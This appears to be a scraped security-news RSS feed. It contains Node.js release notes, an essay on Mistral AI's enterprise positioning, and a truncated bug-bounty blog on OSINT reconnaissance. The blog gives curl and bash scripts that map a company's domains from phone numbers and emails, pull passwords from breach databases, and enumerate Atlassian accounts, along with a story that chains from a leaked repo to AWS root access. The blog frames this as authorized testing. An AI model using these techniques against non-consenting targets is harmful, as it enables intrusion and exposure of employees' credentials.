<li>[<a href="https://github.com/nodejs/node/commit/94e5f63b83"><code>94e5f63b83</code></a>] - <strong>tls</strong>: add unsupported renegotiation error (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63161" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63161/hovercard">#63161</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06d308fb61"><code>06d308fb61</code></a>] - <strong>tools</strong>: prevent lib code from reading KeyObject and CryptoKey accessors (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63111" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63111/hovercard">#63111</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e4a0d0c91"><code>2e4a0d0c91</code></a>] - <strong>tools</strong>: bump brace-expansion from 5.0.5 to 5.0.6 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63415" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63415/hovercard">#63415</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c9666b366"><code>4c9666b366</code></a>] - <strong>tools</strong>: skip commit-lint on backport pull requests (Marco) <a href="https://github.com/nodejs/node/pull/63378" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63378/hovercard">#63378</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67d0c490a8"><code>67d0c490a8</code></a>] - <strong>tools</strong>: fix skip of <code>test-internet</code> on forks (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63492" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63492/hovercard">#63492</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/02f73c7cac"><code>02f73c7cac</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 4 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63075/hovercard">#63075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5d016d3241"><code>5d016d3241</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63374" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63374/hovercard">#63374</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/55af0f0edb"><code>55af0f0edb</code></a>] - <strong>tools</strong>: fix test426 updater (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63271/hovercard">#63271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8475e167a"><code>d8475e167a</code></a>] - <strong>tools</strong>: use different branch for tool updates on staging branches (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63110" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63110/hovercard">#63110</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c605df9e50"><code>c605df9e50</code></a>] - <strong>util</strong>: remove unused functions (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63612" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63612/hovercard">#63612</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fe4540ebdb"><code>fe4540ebdb</code></a>] - <strong>util</strong>: create hex style cache and fast path (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/62999" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62999/hovercard">#62999</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-06-23, Version 22.23.1 'Jod' (LTS), @RafaelGSS]]></title>
<description><![CDATA[This release includes a fix for an unexpected behavior introduced
by the recent security release (22.23.0).
Commits

[41d2ee13be] - build: switch coverage-windows to windows-2022 (Richard Lau) #63940
[eaa292549e] - http: avoid stream listeners on idle agent sockets (Matteo Collina) #64004]]></description>
<link>https://tsecurity.de/de/3619031/downloads/2026-06-23-version-22231-jod-lts-rafaelgss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619031/downloads/2026-06-23-version-22231-jod-lts-rafaelgss/</guid>
<pubDate>Tue, 23 Jun 2026 19:01:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This release includes a fix for an unexpected behavior introduced<br>
by the recent security release (22.23.0).</p>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/41d2ee13be"><code>41d2ee13be</code></a>] - <strong>build</strong>: switch coverage-windows to <code>windows-2022</code> (Richard Lau) <a href="https://github.com/nodejs/node/pull/63940" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63940/hovercard">#63940</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eaa292549e"><code>eaa292549e</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Is Mistral late or savvy?]]></title>
<description><![CDATA[For the past few years, the most visible corner of the AI market has been easy to caricature: OpenAI gets the consumer attention, Anthropic gets the developer love, Google gets the benefit of the doubt with increasingly capable models and a complementary product suite, and everyone else gets to e...]]></description>
<link>https://tsecurity.de/de/3614975/ai-nachrichten/is-mistral-late-or-savvy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3614975/ai-nachrichten/is-mistral-late-or-savvy/</guid>
<pubDate>Mon, 22 Jun 2026 11:19:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>For the past few years, the most visible corner of the AI market has been easy to caricature: OpenAI gets the consumer attention, Anthropic gets the developer love, Google gets the benefit of the doubt with increasingly capable models and a complementary product suite, and everyone else gets to explain why they’re not dead yet.</p>



<p>That’s unfair, of course, but not completely wrong. In AI, attention compounds and it’s leading to outsized revenue, with both <a href="https://www.reuters.com/technology/openai-files-us-ipo-after-anthropic-ai-giants-head-public-markets-2026-06-08/">OpenAI</a> and <a href="https://www.reuters.com/business/ai-giant-anthropic-confidentially-files-us-ipo-2026-06-01/">Anthropic</a> reportedly rushing toward trillion-dollar-sized IPOs on the backs of billions in revenue.</p>



<p>So it’s easy to underrate Mistral AI.</p>



<p>Honestly, I hadn’t thought of the Paris-based company for a year. Maybe longer. But then <a href="https://www.linkedin.com/feed/update/urn:li:activity:7472694983636971520/">Brian Hall announced he’s joining Mistral</a> as CMO, and I had an <a href="https://arresteddevelopment.fandom.com/wiki/Her%3F">Arrested Development “Her?” moment</a>. Hall, a longtime Microsoft exec, hired me at AWS and went on to run product marketing at Google Cloud. His move prompted curiosity because Mistral doesn’t dominate developer chatter in the United States or boast the same seemingly endless compute budgets as Anthropic or OpenAI. If the AI market is simply a race to build the biggest, most magical, most general-purpose model, Mistral isn’t the company to bet on.</p>



<p>But that’s the wrong question, and likely the wrong bet.</p>



<p>The more interesting question is when the enterprise AI market will revert to type and demand that AI deliver the same security, predictability, and control we’re used to from other IT investments. Here Mistral has a real story. As Hall notes, Mistral’s approach is to “prioritize AI for mission-critical environments that need the confidence and self-control to bet for the long term (with open weights and real sovereign capabilities).”</p>



<p>While this might have sounded like an overly hopeful talking point, it became real in June when <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">the US government ordered Anthropic to suspend access</a> for foreign nationals to its most advanced Fable 5 and Mythos 5 models. Anthropic said it would disable the models for all users because of the export-control directive. “Can this vendor be forced to turn us off?” is no longer a theoretical question.</p>



<p>That’s why Mistral’s quiet focus on enterprise control just might work.</p>



<h2 class="wp-block-heading"><a></a>The wrong race</h2>



<p>The enterprise control story is much more compelling than the narrative I used to hear. You know, the “Europe needs its own OpenAI” schtick. There is a market for “patriotic AI,” but it’s relatively small. The far bigger market is comprised of enterprises that just want AI that works, costs less (or delivers more) than expected, and can be customized while fitting their compliance requirements.</p>



<p>Though the company’s <a href="https://web.archive.org/web/20230726224506/https:/mistral.ai/">initial launch page</a> went out of its way to mention that the company was operating out of Europe and headquartered in Paris, since at least <a href="https://web.archive.org/web/20231030012147/https:/mistral.ai/">October 2023 Mistral’s product posture has centered on enterprise control</a>. Scattered throughout its current (and past) website are words like “customize,” “fine-tune,” “open source,” and “complete control.” Mistral pitches Studio for building and running AI apps, Forge for custom model training and alignment, Vibe for agentic work, Vibe for Code for coding workflows, and Compute for training and inference infrastructure. The company talks about observability, evals, guardrails, deployment portability, and running production AI “from edge to cloud.”</p>



<p>In other words, it sounds less like a chatbot company and more like an infrastructure company.</p>



<p>That positioning becomes clearer when you look underneath the product names.<a href="https://mistral.ai/news/ai-studio/"> Mistral AI Studio</a> includes an AI Registry that acts as a system of record for agents, models, data sets, judges, tools, and workflows. It tracks lineage, ownership, and versioning. It enforces access controls and promotion gates before deployment. That’s boring governance plumbing (and “boring” is good in enterprise IT, <a href="https://www.infoworld.com/article/4082782/boring-governance-is-the-path-to-real-ai-adoption.html">as I’ve written</a>).</p>



<p><a href="https://mistral.ai/news/forge/">Forge</a> may be even more important. Mistral describes it as a way for enterprises to train frontier-grade models on proprietary enterprise data. Rather than training on others’ copyrighted information strewn across the web or on a mountain of Reddit posts, Forge goes well beyond <a href="https://www.infoworld.com/article/2335814/what-is-retrieval-augmented-generation-more-accurate-and-reliable-llms.html">retrieval-augmented generation</a> (RAG) to not simply “read in” proprietary docs/info/etc., but rather to give an enterprise its own private OpenAI, as it were. </p>



<p>That’s super interesting.</p>



<p>But is it different? I mean, OpenAI and Anthropic can do plenty of this, with greater scale and the benefit of leading frontier models. Both have enterprise products, cloud partnerships, evals, agents, governance tools, and varying forms of model customization. Mistral’s bet with Forge isn’t that the big labs can’t customize models. It’s that some enterprises aren’t interested in customization as a side feature bolted onto a frontier API. It <em>is </em>the product. OpenAI and Anthropic can build everything around Forge but not Forge itself, because the one thing they almost certainly aren’t interested in selling is independence from them.</p>



<p>This is where Mistral may have found a useful seam, one that allows it to ask a different set of questions. What if the best enterprise model isn’t the smartest general-purpose model? What if the best model is the one that’s small enough to run where the customer needs it, open enough to inspect and adapt, cheap enough to use broadly, and specialized enough to do the job? What if “good enough, governable, and your own” beats “slightly smarter, mostly opaque, and rented”?</p>



<p>This won’t matter for every use case, of course. If I’m asking AI to reason through a spreadsheet or write code, I probably want the best model I can get. But for banks, defense agencies, manufacturers, utilities, telcos, and governments, “best” is multidimensional and includes questions like latency, auditability, etc. It’s why banks, for example, still run so many workloads on premises: They want control.</p>



<h2 class="wp-block-heading"><a></a>What about compute?</h2>



<p>None of this makes compute irrelevant. But it may change <em>how</em> compute matters.</p>



<p>If Mistral is trying to be a French version of OpenAI, its lack of hyperscale compute is a fatal weakness. It won’t outspend OpenAI, Oracle, Microsoft, Google, Amazon, SpaceX, or Anthropic. It probably won’t out-recruit them across every frontier research area, either. The AI market is already littered with companies that underestimated how quickly “good model” became “not good enough.”</p>



<p>But if Mistral is trying to become the enterprise-controlled AI layer for organizations that don’t want all intelligence to live behind someone else’s API, compute becomes a more nuanced issue. It still needs infrastructure, and Mistral seems to know it. After all, Mistral <a href="https://www.reuters.com/business/finance/frances-mistral-raises-830-million-debt-ai-data-centre-build-up-2026-03-30/">raised $830 million in debt to buy 13,800 Nvidia chips</a> for a data center near Paris. That’s a rounding error compared to OpenAI and Anthropic, of course, but the real question is whether Mistral can turn relative compute scarcity into a virtue, like <a href="https://www.amazon.jobs/content/en/our-workplace/leadership-principles">Amazon’s Leadership Principle “Frugality”</a> on steroids. If lower compute capacity leads Mistral to deliver smaller, more efficient, and more specialized models, which in turn helps enterprises maintain more control of their data at lower cost, then less really does become more.</p>



<p>Mistral’s compute challenge, then, is not to try and have as much compute as OpenAI. It’s to make customers care less about raw compute scale and more about deployment flexibility, specialization, and control.</p>



<p>That’s a hard sell. But it’s not a dumb one.</p>



<h2 class="wp-block-heading"><a></a>What Mistral must prove</h2>



<p>The bear case remains obvious. OpenAI has consumer distribution, developer mindshare, capital, and a brand that has basically become synonymous with AI. Anthropic has become the developer darling and has an unusually strong enterprise story of its own. Google has the models, the infrastructure, the data, and a bevy of complementary services. AWS, Microsoft, and Oracle have customer relationships and infrastructure.</p>



<p>Mistral has to prove that there’s room for another center of gravity. More specifically, it must prove three things.</p>



<p>First, it has to show that open-weight and controllable AI matter enough to influence buying decisions, not just conference panels. Everyone says they want control, just as most like the idea of open source. But proprietary software and cloud services still dominate the market. Mistral must make control feel like the easy button.</p>



<p>Second, it must prove that specialization beats generality in enough high-value markets. “Our model is almost as good” is not a strategy. “Our model is better for your bank, your government agency, or your retailer” just might be.</p>



<p>Third, it needs to establish a beachhead within enterprise IT before OpenAI and Anthropic become “boring” enough to satisfy the same buyers. This is the real race. The biggest AI companies are hiring enterprise sales teams, building admin controls, and cutting deals with every major cloud. Mistral’s window exists because the market is still young, but that window won’t stay open much longer.</p>



<p>If AI remains a model benchmark race, Mistral likely loses. But if AI keeps evolving to become grown-up enterprise infrastructure, Mistral has a real chance.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Phone Numbers and Emails to Hidden Subdomains: The OSINT Acquisition Pipeline That Uncovered a…]]></title>
<description><![CDATA[Phone Numbers and Emails to Hidden Subdomains: The OSINT Acquisition Pipeline That Uncovered a Critical BugA deep technical blog on using phone numbers and email addresses to discover hidden domains, subdomains, and attack surface — with real-world techniques you can use today.Phone Numbers and E...]]></description>
<link>https://tsecurity.de/de/3610154/hacking/phone-numbers-and-emails-to-hidden-subdomains-the-osint-acquisition-pipeline-that-uncovered-a/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610154/hacking/phone-numbers-and-emails-to-hidden-subdomains-the-osint-acquisition-pipeline-that-uncovered-a/</guid>
<pubDate>Fri, 19 Jun 2026 13:09:24 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Phone Numbers and Emails to Hidden Subdomains: The OSINT Acquisition Pipeline That Uncovered a Critical Bug</h3><p><em>A deep technical blog on using phone numbers and email addresses to discover hidden domains, subdomains, and attack surface — with real-world techniques you can use today.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*szLFGSpzqAnso14K4v5vnA.png"><figcaption>Phone Numbers and Emails to Hidden Subdomains</figcaption></figure><h3>Foreword: Why I Wrote This</h3><p>In bug bounty and security research, one of the biggest challenges is not finding vulnerabilities — it’s finding the right attack surface.</p><p>Many researchers start with traditional reconnaissance: collecting subdomains, checking DNS records, and running automated tools. While these methods are valuable, they often miss assets that are not directly connected to the primary domain.</p><p>This is where OSINT becomes powerful.</p><p>A simple phone number or email address can become a starting point for discovering hidden digital assets:</p><ul><li>A company email can reveal related domains and third-party services</li><li>Public profiles can expose forgotten infrastructure</li><li>Developer footprints can reveal technology stacks and assets</li><li>Business records can connect organizations to previously unknown domains</li></ul><p>The idea behind this research is simple:</p><p><strong>Public information creates relationships, and relationships create attack surface.</strong></p><p>This blog explores an OSINT-driven acquisition workflow for connecting phone numbers and email addresses with domains, subdomains, and external assets. These techniques are useful for authorized security testing, bug bounty research, and improving reconnaissance skills.</p><p>The goal is not just to collect more assets — it is to understand how different pieces of public information connect together to reveal a larger security picture.</p><h3>Part I: The Conceptual Framework — Why This Works</h3><h3>The Problem with Traditional Subdomain Discovery</h3><p>Traditional subdomain discovery relies on one thing: the DNS namespace is enumerable. You either brute-force it (guess names) or query passive sources (CT logs, passive DNS).</p><p>Both approaches share a fundamental limitation: they only find subdomains that are publicly resolvable or historically logged.</p><p>Here’s what they miss:</p><ul><li>Private/internal domains (e.g., internal.company.com that only resolves on the corporate VPN)</li><li>Pre-production domains that were registered but never deployed to DNS</li><li>Acquired company domains that aren’t linked from the parent</li><li>Domains used for third-party services (e.g., company.slack.com, company.atlassian.net)</li><li>Personal domains used by employees for work purposes</li></ul><h3>The Email-to-Domain Bridge</h3><p>Every email address user@domain.com tells you:</p><ol><li>The domain exists (obvious, but foundational)</li><li>The domain is actively used (someone sent mail from it)</li><li>The domain has a user (potential credential, potential account)</li><li>The domain is connected to services (GitHub, Slack, Jira, AWS, etc.)</li></ol><p>When you collect thousands of email addresses associated with a company, and you extract every domain from those emails, you build a corporate domain graph that DNS brute-force can never replicate.</p><h3>The Phone-to-Domain Bridge</h3><p>Every phone number +1 (415) 555-0199 tells you:</p><ol><li>The company exists at a physical location (office, data center)</li><li>The company uses a specific VOIP provider (Twilio, RingCentral, Vonage)</li><li>The company has registered infrastructure (WHOIS records, business registries)</li><li>The company has extensions (which map to departments, which map to services)</li></ol><p>When you collect phone numbers and reverse-search them, you find domains that were registered with those same phone numbers — often from before the company had a proper security team.</p><h3>Part II: Phone Number → Domain Discovery</h3><p>Phone numbers are a persistent identifier. Companies change domains more often than they change phone numbers. A domain registered in 2005 with a phone number is still associated with that company today — even if the domain is forgotten.</p><h3>Technique 1: WHOIS Phone Number Search</h3><p>Every domain registration includes a phone number. SecurityTrails, WhoisXMLAPI, and DomainTools allow you to search by phone number to find all domains registered with it.</p><pre>#!/bin/bash<br># phone-to-domain.sh - Find domains registered with a specific phone number<br>PHONE="$1"<br><br># Using WhoisXMLAPI (paid, but worth it)<br>curl -s "https://www.whoisxmlapi.com/whoisserver/WhoisService?apiKey=$API_KEY&amp;domainName=$PHONE&amp;outputFormat=JSON" | \<br>    jq -r '.WhoisRecord.registryData.registrarName // empty'<br><br># Using DomainTools (requires API key)<br>curl -s "https://api.domaintools.com/v1/$PHONE/domains/" \<br>    -u "$DOMAINTOOLS_USER:$DOMAINTOOLS_KEY" | \<br>    jq -r '.response.domains[]'<br><br># Manual: Reverse WHOIS lookup on SecurityTrails<br># https://securitytrails.com/list/phone/$PHONE</pre><p>What this finds: Every domain that was ever registered with that phone number — including domains for subsidiaries, defunct products, and personal projects.</p><h3>Technique 2: Business Registry Phone Search</h3><p>Every corporation in the US registers with a state business registry. These registries include phone numbers. You can search by phone number to find all corporations registered under that number.</p><pre># OpenCorporates API<br>curl -s "https://api.opencorporates.com/v0.4/companies/search?q=$PHONE&amp;api_token=$TOKEN" | \<br>    jq -r '.results[].company.name'<br><br># State-specific registries (examples)<br># California: https://businesssearch.sos.ca.gov/<br># Delaware: https://icis.corp.delaware.gov/<br># Texas: https://mycpa.cpa.state.tx.us/coa/</pre><p>What this finds: Legal entities, DBAs, and subsidiaries that aren’t publicly linked to the parent company.</p><h3>Technique 3: Phone Number Reverse Lookup Services</h3><pre># Twilio Lookup API<br>curl -s "https://lookups.twilio.com/v1/PhoneNumbers/$PHONE?Type=carrier&amp;Type=caller-name" \<br>    -u "$TWILIO_SID:$TWILIO_TOKEN" | \<br>    jq '.carrier.name, .caller_name.caller_name'<br><br># Numverify<br>curl -s "https://apilayer.net/api/validate?access_key=$KEY&amp;number=$PHONE" | \<br>    jq '.carrier, .location, .line_type'<br><br># Manual: Whitepages reverse lookup</pre><p>What this finds: The carrier name (VOIP provider), which tells you what infrastructure to attack, and sometimes the registered business name.</p><h3>Technique 4: Breach Data Phone Search (Authorized Only)</h3><p>If you have authorized access to breach databases:</p><pre># Dehashed search by phone<br>curl -s "https://api.dehashed.com/v1/search?query=phone:$PHONE&amp;size=1000" \<br>    -u "$EMAIL:$API_KEY" | \<br>    jq -r '.entries[].domain' | sort -u</pre><p>What this finds: Every domain where an account was registered with that phone number — including internal systems, VPN portals, and employee benefits portals.</p><h3>Real-World Example: Phone-to-Domain Discovery</h3><p>Target: Large healthcare tech company. Scope: *.healthtech.com.</p><p>I found the company’s main phone number from their contact page: +1 (617) 555-0100.</p><p>I ran a WHOIS phone number search:</p><pre># SecurityTrails reverse WHOIS by phone<br># Result: 47 domains registered with +1.617.555.0100</pre><p>Among those 47 domains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*9rVIeYeZHnAqzlW8RoepFg.png"><figcaption>47 domains</figcaption></figure><p>Critical find: internal-healthtech.com was registered with the same phone number but was not on any subdomain list. It resolved to a private IP range (10.x.x.x) from the outside, but it hosted an internal tool portal accessible via VPN. The VPN wasn't in scope either — until I found it through the phone number.</p><h3>Part III: Email Address → Domain Discovery</h3><p>Every email address user@domain.com is a direct pointer to a domain. When you collect thousands of emails associated with a target company, you build a comprehensive domain inventory.</p><h3>Technique 1: Cross-Company Email Analysis</h3><p>When employees from Company A and Company B communicate, email headers reveal both domains. If you find john@company-a.com and jane@company-b.com in the same email chain, they're connected.</p><pre># From breach data (authorized): find which domains appear alongside the target domain<br># From leaked email threads: extract all sender/receiver domains<br># From public mailing lists: find cross-company email patterns</pre><p>What this finds: Business relationships — partners, vendors, clients, and acquired companies.</p><h3>Technique 2: The Hunter.io API Multi-Domain Search</h3><p>Hunter.io allows you to search by domain AND by company name. The company name search returns emails from multiple domains:</p><pre># Search by company name<br>curl -s "https://api.hunter.io/v2/company/domain?company=healthtech&amp;api_key=$KEY" | \<br>    jq -r '.data.domains[]'<br><br># Result:<br># healthtech.com<br># healthtech.io<br># healthtech.dev<br># healthtech-careers.com<br># healthtech-benefits.com</pre><p>What this finds: All domains associated with a company name, including HR, benefits, and internal tool domains.</p><h3>Technique 3: Email-to-GitHub-to-Domain Chain</h3><p>This is one of the most powerful discovery chains in bug hunting:</p><ol><li>Collect employee email: alice@healthtech.com</li><li>Search GitHub for that email: finds Alice’s GitHub account</li><li>Look at Alice’s GitHub repos, commits, and organizations</li><li>Find references to other domains in code, configs, and commit messages</li></ol><pre>#!/bin/bash<br># email-to-github-to-domains.sh<br>EMAIL="$1"<br><br># Step 1: Find GitHub account<br>echo "[*] Searching GitHub for $EMAIL..."<br>curl -s "https://api.github.com/search/users?q=$EMAIL+in:email" | \<br>    jq -r '.items[].login' &gt; github_users.txt<br><br># Step 2: For each GitHub user, find their repos and orgs<br>while read USER; do<br>    echo "[*] Checking user: $USER"<br>    <br>    # Get user's repos<br>    curl -s "https://api.github.com/users/$USER/repos?per_page=100" | \<br>        jq -r '.[].full_name' &gt;&gt; repos.txt<br>    <br>    # Get organizations<br>    curl -s "https://api.github.com/users/$USER/orgs" | \<br>        jq -r '.[].login' &gt;&gt; orgs.txt<br>    <br>    sleep 2  # Rate limiting<br>done &lt; github_users.txt<br><br># Step 3: Search repo contents for domain references<br>while read REPO; do<br>    echo "[*] Searching repo: $REPO"<br>    <br>    # Search code for domain patterns<br>    curl -s "https://api.github.com/search/code?q=repo:$REPO+healthtech" | \<br>        jq -r '.items[].html_url' &gt;&gt; code_refs.txt<br>    <br>    # Search commit messages for domain references<br>    curl -s "https://api.github.com/search/commits?q=repo:$REPO+healthtech" | \<br>        jq -r '.items[].html_url' &gt;&gt; commit_refs.txt<br>    <br>    sleep 2<br>done &lt; repos.txt</pre><p>What this finds: Internal domains referenced in code comments, config files, READMEs, and commit messages.</p><h3>Technique 4: Email-to-Breach-to-Domain Correlation</h3><p>When an employee’s email appears in a breach, you can see what service they were using and what domain was involved:</p><pre># Dehashed query (authorized)<br>curl -s "@healthtech.com&amp;size=10000"&gt;https://api.dehashed.com/v1/search?query=email:@healthtech.com&amp;size=10000" \<br>    -u "$EMAIL:$API_KEY" | \<br>    jq -r '.entries[] | "\(.domain) \(.email) \(.password)"' | sort -u<br><br># Extract unique domains<br>curl -s "@healthtech.com&amp;size=10000"&gt;https://api.dehashed.com/v1/search?query=email:@healthtech.com&amp;size=10000" \<br>    -u "$EMAIL:$API_KEY" | \<br>    jq -r '.entries[].domain' | sort -u &gt; breached-domains.txt</pre><p>What this finds: Domains where employees had accounts — including personal projects, side businesses, and services they used for work purposes (sometimes on unmanaged infrastructure).</p><h3>Technique 5: Email-Specific Subdomain Discovery</h3><p>Services like Have I Been Pwned, Firefox Monitor, and custom tools can tell you which subdomains of a company have accounts registered:</p><pre># Check if a subdomain has active accounts<br># For Office 365: login.microsoftonline.com will reveal tenant info<br># For Atlassian: company-name.atlassian.net<br># For Slack: company-name.slack.com<br># For GitHub: github.com/orgs/CompanyName<br><br># Using emails to discover the company's Atlassian instance:<br>for email in $(cat emails.txt); do<br>    # Check for Atlassian account<br>    response=$(curl -s -o /dev/null -w "%{http_code}" \<br>        "https://healthtech.atlassian.net/rest/analytics/1.0/user/is-licensed?username=$email")<br>    <br>    if [ "$response" == "200" ] || [ "$response" == "401" ]; then<br>        echo "Atlassian domain found: healthtech.atlassian.net"<br>        break<br>    fi<br>done</pre><h3>Real-World Example: Email-to-Domain Discovery Chain</h3><p>Target: Financial services company finsecure.com.</p><p>I collected 2,400 emails using Hunter.io, theHarvester, and LinkedIn scraping. Among them was devops@finsecure.com.</p><p>GitHub search on <a href="mailto:devops@finsecure.com">devops@finsecure.com</a>: Found a GitHub account finsecure-devops with a private repo (misconfigured visibility).</p><p>Repo contents revealed:</p><ul><li>deploy.config with DB_HOST=mariadb.internal.finsecure.com</li><li>terraform.tf with bucket = "finsecure-terraform-state"</li><li>README.md with See internal docs at docs.internal.finsecure.com</li></ul><p>New domains discovered:</p><ul><li>internal.finsecure.com — Not in any CT log or DNS record</li><li>docs.internal.finsecure.com — Subdomain of the above</li><li>mariadb.internal.finsecure.com — Internal database hostname</li><li>finsecure-terraform-state.s3.amazonaws.com — S3 bucket with terraform state</li></ul><p>The S3 bucket was publicly listable. It contained AWS access keys. The AWS keys gave access to the production environment.</p><p>Chain: 1 email → 1 GitHub account → 1 repo → 4 new domains → 1 S3 bucket → AWS root access.</p><h3>Part IV: Phone Number + Email → Subdomain Discovery (The Real Gold)</h3><p>When you combine phone numbers and emails, you unlock subdomain discovery that no DNS tool can match.</p><h3>Technique 1: WHOIS Contact Cross-Reference</h3><p>Company domains are often registered by the same person. If you find the registrant’s name and email from one domain, you can find all other domains they’ve registered:</p><pre># Step 1: Get WHOIS info for the main domain<br>whois healthtech.com | grep -E "Registrant|Admin|Tech|Email" &gt; whois-info.txt<br><br># Step 2: Extract registrant name and email<br>NAME=$(grep "Registrant Name" whois-info.txt | awk -F: '{print $2}' | xargs)<br>EMAIL=$(grep "Registrant Email" whois-info.txt | awk -F: '{print $2}' | xargs)<br><br># Step 3: Search for other domains with same registrant<br># Using WhoisXMLAPI<br>curl -s "https://www.whoisxmlapi.com/whoisserver/WhoisService?apiKey=$API_KEY&amp;domainName=$NAME&amp;outputFormat=JSON" | \<br>    jq -r '.WhoisRecord.registryData.registrantDomains[]'<br><br># Using DomainTools Reverse WHOIS<br>curl -s "https://api.domaintools.com/v1/$NAME/domains/" \<br>    -u "$DOMAINTOOLS_USER:$DOMAINTOOLS_KEY" | \<br>    jq -r '.response.domains[]'</pre><h3>Technique 2: Social Media Profile Mining</h3><p>Employee LinkedIn profiles often list multiple domains:</p><pre>Current: Senior Engineer at HealthTech (healthtech.com)<br>Past: Lead Developer at MedData (meddata.io)<br>Education: MIT (mit.edu)</pre><p>Each of these is a domain that may or may not be in scope. If meddata.io was acquired by healthtech.com, then meddata.io infrastructure is likely part of the target's attack surface.</p><pre># LinkedIn scraper (requires authentication)<br># Extract: current company, past companies, education<br># Cross-reference with known acquisitions<br><br># For each past company found on LinkedIn profiles:<br># Check if it was acquired by the target<br># If yes: run full acquisition pipeline on that domain</pre><h3>Technique 3: Support Portal and Help Desk Domains</h3><p>Phone numbers often lead to support portals, which lead to subdomains:</p><pre># Call the company's support number<br># Listen for automated messages:<br># "Press 1 for billing" → billing.helpdesk.com<br># "Press 2 for technical support" → support.helpdesk.com<br># "Press 3 for sales" → sales.helpdesk.com<br><br># These are subdomains of the support portal domain<br># Check if they resolve, check for takeovers<br><br># Also check: support@company.com → Zendesk, Freshdesk, Helpscout<br># Zendesk: company.zendesk.com<br># Freshdesk: company.freshdesk.com<br># Helpscout: company.helpscout.net</pre><h3>Technique 4: Email Header Subdomain Discovery</h3><p>If you can obtain a legitimate email from the company (e.g., by signing up for their newsletter), the email headers reveal internal infrastructure:</p><pre>Received: from mail.healthtech.com (192.168.1.10)<br>Received: from mx1.healthtech.com (203.0.113.5)<br>Received: from smtp-in.healthtech.com (198.51.100.20)<br>DKIM-Signature: d=healthtech.com; s=selector1<br>Authentication-Results: mx.google.com;<br>       spf=pass (google.com: domain of newsletter@healthtech.com designates 203.0.113.5 as permitted sender)</pre><p>Each of these IPs and hostnames is a potential subdomain:</p><ul><li>mail.healthtech.com</li><li>mx1.healthtech.com</li><li>smtp-in.healthtech.com</li></ul><h3>Real-World Example: Phone + Email → Subdomain Discovery</h3><p>Target: SaaS company cloudserve.com.</p><p>Phone number from WHOIS: +1 (425) 555-0100 (Seattle area)</p><p>Email from WHOIS: admin@cloudserve.com</p><p>Step 1: WHOIS reverse search on phone number Found 12 domains, including:</p><ul><li>cloudserve.io (known)</li><li>cloudserve-backup.com (unknown — registered 2008)</li><li>cs-legacy.com (unknown — registered 2005)</li></ul><p>Step 2: WHOIS reverse search on email Found 8 more domains:</p><ul><li>cloudserve-status.com (status page — known but useful)</li><li>cloudserve-dev.com (development — not in scope docs)</li></ul><p>Step 3: Emails collected from Hunter.io 1,800 emails. Found devops@cloudserve.com in a GitHub commit.</p><p>Step 4: DevOps email → GitHub repos Found a repo with monitoring.cloudserve.com hardcoded in a config file.</p><p>Step 5: Subdomain enumeration on new domains</p><pre>subfinder -d cloudserve-backup.com -silent<br># Found: admin.cloudserve-backup.com<br># Found: db.cloudserve-backup.com</pre><p>Result: 14 new domains and 47 new subdomains discovered through phone and email OSINT alone. DNS brute-force against the main domain found none of these.</p><h3>Part V: Building the 